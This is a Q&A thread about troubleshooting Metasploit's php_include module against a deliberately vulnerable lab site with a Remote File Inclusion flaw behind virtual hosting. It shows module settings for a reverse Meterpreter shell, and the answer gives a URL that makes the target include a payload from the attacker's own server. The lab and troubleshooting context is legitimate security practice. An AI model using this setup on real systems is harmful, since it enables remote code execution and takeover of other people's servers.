0

I am currently trying to build an example of a host vulnerable to Remote File Inclusion vulnerabilities. I have a docker application which hosts 3 vulnerable websites, and in order to access them I have my hosts file set up as follows:

192.168.56.101       Website1.com
192.168.56.101       Website2.com
192.168.56.101       Website3.com

Website1.com has a RFI vulnerability hosted at Website1.com/settings.php?file=XX where the file parameter has the Remote File Inclusion.

Now, I want to demonstrate getting a Meterpreter shell via Metasploit using the php_include exploit, under (unix/webapp/php_include). I have used this exploit many times in the past, however not with virtual hosting, and I can't get it too work. Currently my Basic Options are configured as follows:

Name      Current Setting                                                      Required  Description
----      ---------------                                                      --------  -----------
HEADERS                                                                        no        Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"
PATH      /                                                                    yes       The base directory to prepend to the URL to try
PHPRFIDB  /usr/share/metasploit-framework/data/exploits/php/rfi-locations.dat  no        A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI    /settings.php?file=XXpathXX                                          no        The URI to request, with the include parameter changed to XXpathXX
POSTDATA                                                                       no        The POST data to send, with the include parameter changed to XXpathXX
Proxies                                                                        no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    192.168.56.101                                                       yes       The target address range or CIDR identifier
RPORT     80                                                                   yes       The target port (TCP)
SRVHOST   0.0.0.0                                                              yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT   80                                                                   yes       The local port to listen on.
SSL       false                                                                no        Negotiate SSL/TLS for outgoing connections
SSLCert                                                                        no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                                                                        no        The URI to use for this exploit (default is random)
VHOST     Website1.com                                                         no        HTTP server virtual host

I receive the following output:

[*] Started reverse TCP handler on 192.168.56.102:4443 
[-] 192.168.56.101:80 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:80).
[*] Exploit completed, but no session was created.

So I have set it as a virtual host, but to me it looks like Metasploit is trying to connect directly to the RHOST still; maybe I am wrong?

Anyone advise on how to get this working on Virtual Hosts?

Improve this question

1 Answer 1

Reset to default
1

It's your web application & whatever web server running it that's already listening on port 80. Metasploit is trying to start its own web server to the same port and fails. But there's no need to succeed: your actual problem has nothing to do with the VHOST option in unix/webapp/php_include.

As the web application has a remote file inclusion vulnerability, you'd include the payload code from an external server. If you only have one IP address for your demonstration, you'd just use another port e.g. 8080:

example.com/settings.php?file=http://192.168.56.101:8080/path/to/payload
Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .